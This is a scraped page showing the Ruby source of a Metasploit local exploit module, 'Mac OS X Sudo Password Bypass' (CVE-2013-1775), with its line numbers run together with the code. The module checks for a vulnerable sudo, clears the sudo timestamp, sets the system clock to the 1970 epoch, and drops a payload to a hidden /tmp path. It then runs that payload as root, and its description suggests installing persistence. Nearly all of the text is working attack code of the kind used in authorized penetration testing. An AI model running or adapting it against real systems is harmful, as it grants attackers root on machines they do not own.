Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local89# ManualRanking because it's going to modify system time10# Even when it will try to restore things, user should use11# it at his own risk12Rank = NormalRanking1314include Msf::Post::File15include Msf::Post::OSX::Priv16include Msf::Exploit::EXE17include Msf::Exploit::FileDropper1819SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"20VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]21CMD_TIMEOUT = 452223# saved clock config24attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone2526def initialize(info = {})27super(update_info(info,28'Name' => 'Mac OS X Sudo Password Bypass',29'Description' => %q{30This module gains a session with root permissions on versions of OS X with31sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,32and possibly lower versions.3334If your session belongs to a user with Administrative Privileges35(the user is in the sudoers file and is in the "admin group"), and the36user has ever run the "sudo" command, it is possible to become the super37user by running `sudo -k` and then resetting the system clock to 01-01-1970.3839This module will fail silently if the user is not an admin, if the user has never40run the sudo command, or if the admin has locked the Date/Time preferences.4142Note: If the user has locked the Date/Time preferences, requests to overwrite43the system clock will be ignored, and the module will silently fail. However,44if the "Require an administrator password to access locked preferences" setting45is not enabled, the Date/Time preferences are often unlocked every time the admin46logs in, so you can install persistence and wait for a chance later.47},48'License' => MSF_LICENSE,49'Author' =>50[51'Todd C. Miller', # Vulnerability discovery52'joev', # Metasploit module53'juan vazquez' # testing/fixing module bugs54],55'References' =>56[57[ 'CVE', '2013-1775' ],58[ 'OSVDB', '90677' ],59[ 'BID', '58203' ],60[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]61],62'Platform' => 'osx',63'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],64'SessionTypes' => [ 'shell', 'meterpreter' ],65'Targets' => [66[ 'Mac OS X x86 (Native Payload)',67{68'Platform' => 'osx',69'Arch' => ARCH_X8670}71],72[ 'Mac OS X x64 (Native Payload)',73{74'Platform' => 'osx',75'Arch' => ARCH_X6476}77],78[ 'CMD',79{80'Platform' => 'unix',81'Arch' => ARCH_CMD82}83]84],85'DefaultTarget' => 0,86'DisclosureDate' => '2013-02-28'87))88register_advanced_options([89OptString.new('TMP_FILE',90[true,'For the native targets, specifies the path that '+91'the executable will be dropped on the client machine.',92'/tmp/.<random>/<random>']93),94])95end9697# ensure target is vulnerable by checking sudo vn and checking98# user is in admin group.99def check100if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/101sudo_vn = $1102sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)103# check vn between 1.6.0 through 1.7.10p6104# and 1.8.0 through 1.8.6p6105if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)106vprint_error "sudo version #{sudo_vn} not vulnerable."107return CheckCode::Safe108end109else110vprint_error "sudo not detected on the system."111return CheckCode::Safe112end113114# check that the user is in OSX's admin group, necessary to change sys clock115unless is_admin?116vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."117return CheckCode::Safe118end119120# one root for you sir121CheckCode::Vulnerable122end123124def exploit125if is_root?126fail_with Failure::BadConfig, 'Session already has root privileges'127end128129unless is_admin?130fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."131end132133if check != CheckCode::Vulnerable134fail_with Failure::NotVulnerable, 'Target is not vulnerable'135end136137# "remember" the current system time/date/network/zone138print_good("User is an admin, continuing...")139140print_status("Saving system clock config...")141@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]142@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]143@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)144@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]145@network_server = if @networked146cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]147end148149run_sudo_cmd150end151152def cleanup153if @clock_changed154print_status("Resetting system clock to original values") if @time155cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?156cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?157cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?158if @networked159cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")160unless @network_server.nil?161cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")162end163end164print_good("Completed clock reset.")165else166print_status "Skipping cleanup since the clock was never changed"167end168169super170end171172private173174def run_sudo_cmd175print_status("Resetting user's time stamp file and setting clock to the epoch")176cmd_exec(177"sudo -k; \n"+178"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+179" -setdate 01:01:1970 -settime 00:00"180)181if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")182fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")183else184@clock_changed = true185end186187# drop the payload (unless CMD)188if using_native_target?189cmd_exec("mkdir -p #{File.dirname(drop_path)}")190write_file(drop_path, generate_payload_exe)191register_files_for_cleanup(drop_path)192cmd_exec("chmod +x #{[drop_path].shelljoin}")193print_status("Payload dropped and registered for cleanup")194end195196# Run Test197test = rand_text_alpha(4 + rand(4))198sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')199200print_status("Testing that user has sudoed before...")201output = cmd_exec('echo "" | ' + sudo_cmd_test)202203if output =~ /incorrect password attempts\s*$/i204fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")205elsif output =~ /#{test}/206print_good("Test executed succesfully. Running payload.")207else208print_error("Unknown fail while testing, trying to execute the payload anyway...")209end210211# Run Payload212sudo_cmd_raw = if using_native_target?213['sudo', '-S', [drop_path].shelljoin].join(' ')214elsif using_cmd_target?215['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')216end217218## to prevent the password prompt from destroying session219## backgrounding the sudo payload in order to keep both sessions usable220sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'221222print_status "Running command: "223print_line sudo_cmd224output = cmd_exec(sudo_cmd)225226end227228# default cmd_exec timeout to CMD_TIMEOUT constant229def cmd_exec(cmd, args=nil, timeout=CMD_TIMEOUT)230super231end232233# helper methods for accessing datastore234def using_native_target?235target.name =~ /native/i236end237238def using_cmd_target?239target.name =~ /cmd/i240end241242def drop_path243@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }244end245246# helper methods for dealing with sudo's vn num247def parse_vn(vn_str)248vn_str.split(/[\.p]/).map(&:to_i)249end250251def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])252vn_parts = parse_vn(vn)253ranges.any? do |range|254min_parts = parse_vn(range[0])255max_parts = parse_vn(range[1])256vn_parts.all? do |part|257min = min_parts.shift258max = max_parts.shift259(min.nil? or (not part.nil? and part >= min)) and260(part.nil? or (not max.nil? and part <= max))261end262end263end264end265266267